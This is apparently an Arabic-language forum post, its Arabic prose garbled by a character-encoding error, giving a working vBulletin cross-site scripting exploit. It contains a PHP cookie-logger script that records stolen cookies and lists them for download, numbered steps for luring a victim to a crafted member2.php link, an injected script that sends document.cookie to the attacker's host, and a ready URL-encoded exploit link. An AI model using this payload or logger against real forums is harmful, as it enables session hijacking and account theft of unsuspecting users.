1- ÇäÓÎ ÇáßæÏ æÇÍÝÙå ÈÇáãÝßÑÉ ÈÇãÊÏÇÏ php
<?PHP
// vBulletin XSS Injection Vulnerability: Exploit
// ---
// Coded By : Sp.IC (SpeedICNet@Hotmail.Com).
// Descrption: Fetching vBulletin's cookies and storing it into a log file.

// Variables:

$LogFile = "Cookies.Log";

// Functions:
/*
If ($HTTP_GET_VARS['Action'] = "Log") {
$Header = "<!--";
$Footer = "--->";
}
Else {

$Header = "";
$Footer = "";
}
Print ($Header);
*/
Print ("<Title>vBulletin XSS Injection Vulnerability: Exploit</Title>");
Print ("<Pre>");
Print ("<Center>");
Print ("<B>vBulletin XSS Injection Vulnerability: Exploit</B>\n");
Print ("Coded By: <B><A Href=\"MailTo:SpeedICNet@Hotmail.Com\">Sp.IC</A></B><Hr Width=\"20%\">");
/*
Print ($Footer);
*/

Switch ($HTTP_GET_VARS['Action']) {
Case "Log":

$Data = $HTTP_GET_VARS['Cookie'];
$Data = StrStr ($Data, SubStr ($Data, BCAdd (0x0D, StrLen (DecHex (MD5 (NULL))))));
$Log = FOpen ($LogFile, "a+");
FWrite ($Log, Trim ($Data) . "\n");
FClose ($Log);
Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"0; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
Case "List":
If (!File_Exists ($LogFile) || !In_Array ($Records)) {
Print ("<Br><Br><B>There are No Records</B></Center></Pre>");
Exit ();
}
Else {
Print ("</Center></Pre>");
$Records = Array_UniQue (File ($LogFile));
Print ("<Pre>");
Print ("<B>.:: Statics</B>\n");
Print ("\n");
Print ("o Logged Records : <B>" . Count (File ($LogFile)) . "</B>\n");
Print ("o Listed Records : <B>" . Count ($Records) . " </B>[Not Counting Duplicates]\n");
Print ("\n");

Print ("<B>.:: Options</B>\n");
Print ("\n");

If (Count (File ($LogFile)) > 0) {
$Link['Download'] = "[<A Href=\"" . $LogFile . "\">Download</A>]";
}
Else{
$Link['Download'] = "[No Records in Log]";
}

Print ("o Download Log : " . $Link['Download'] . "\n");
Print ("o Clear Records : [<A Href=\"" . $SCRIPT_PATH. "?Action=Delete\">Y</A>]\n");
Print ("\n");
Print ("<B>.:: Records</B>\n");
Print ("\n");

While (List ($Line[0], $Line[1]) = Each ($Records)) {
Print ("<B>" . $Line[0] . ": </B>" . $Line[1]);
}
}

Print ("</Pre>");
Break;
Case "Delete":
@UnLink ($LogFile);
Print ("<Br><Br><B>Deleted Succsesfuly</B></Center></Pre>") Or Die ("<Br><Br><B>Error: Cannot Delete Log</B></Center></Pre>");
Print ("<Meta HTTP-Equiv=\"Refresh\" Content=\"3; URL=" . $HTTP_SERVER_VARS['HTTP_REFERER'] . "\">");
Break;
}
?>
2- ÇÑÝÚ ÇáãáÝ áãæÞÚ íÏÚã php
3- ÇÌÚá ÇáÖÍíÉ íÖÛØ Úáì åÐÇ Çááíäß
member2.php?s=[Session]&action=viewsubscription&perpage=[Script Code]
æÇÓÊÈÏÇá [script code]
ÈåÐÇ
<Script>location='Http://[ãßÇä ÇáãáÝ ÇáÐí Êã ÊÍãíáå]?Action=Log&Cookie='+(document.cookie);</Script>
4- ÅÐåÈ Ãáì åÐÇ ÇáÚäæÇä
Http:// ãßÇä ÇáãáÝ ÇáÐí Êã ÊÍãíáå ?Action=List

================================
åäÇß ÊÛííÑÇÊ Úáì ÇáÕÝÍå ÇáãÑÝæÚå ÓæÝ ÊÚãáåÇ ßáÇÊí:
æ áÊÎØí åÐå ÇáãÔßáÉ íäÈÛí ÇÓÊÈÏÇá ÑãæÒ ÇáÜ Script Code ÈÇáäÙíÑ ÇáÓÊ ÚÔÑí áßá ÑãÒ¡ ÑÇÌÚ ÇáÔÝÑÉ ÇáÊÇáíÉ:



PHP:--------------------------------------------------------------------------------
<?PHP

$Path = "Http://127.0.0.1/CookieLogger.php";

Print ("/member2.php?s=[Session]&action=viewsubscription&perpage=-->" . URLEncode ("<Script>location='" . $Path . "?Action=Log&Cookie='+(document.cookie);</Script>"));

?>

--------------------------------------------------------------------------------


ÊÓÊØíÚ ÇÓÊÈÏÇá ÞíãÉ Path ÈÚäæÇä Ãæ ãÓÇÑ ÇáÇÓÊËãÇÑ Exploit ÇáÎÇÕ ÈÇáãÓÌá¡ Ëã Þã ÈäÓÎ ÇáãÎÑÌÇÊ æ ÃáÍÞåÇ ÈãÓÇÑ ÇáãäÊÏì¡ ãËÇá:


code:--------------------------------------------------------------------------------Http://www.Web-Site.net/vB-Forum/member2.php?s=[Session]&action=viewsubscription&perpage=-->%3CScript%3Elocation%3D%27Http%3A%2F%2F127.0.0.1%2FCookieLogger.php%3FAction%3DLog%26Cookie%3D%27%2B%28document.cookie%29%3B%3C%2FScript%3E--------------------------------------------------------------------------------


æ ÈÇáäÓÈÉ ááÇÓÊËãÇÑ æ ÇáÃÎØÇÁ ÇáÊí íÚØíåÇ ãÝÓÑ ÇáÜ PHP ÝíÌÈ ÇáÊÃßÏ ãä ÊæÇÝÞíÉ ÇáÏæÇá ãÚ ÇÕÏÇÑ ÇáãÝÓÑ.

ãáÇÍÙÉ: Êã ÊÌÑíÈ ÇáÇÓÊËãÇÑ Úáì Apache/1.3.20 (Win32) PHP/4.0.6.




_________________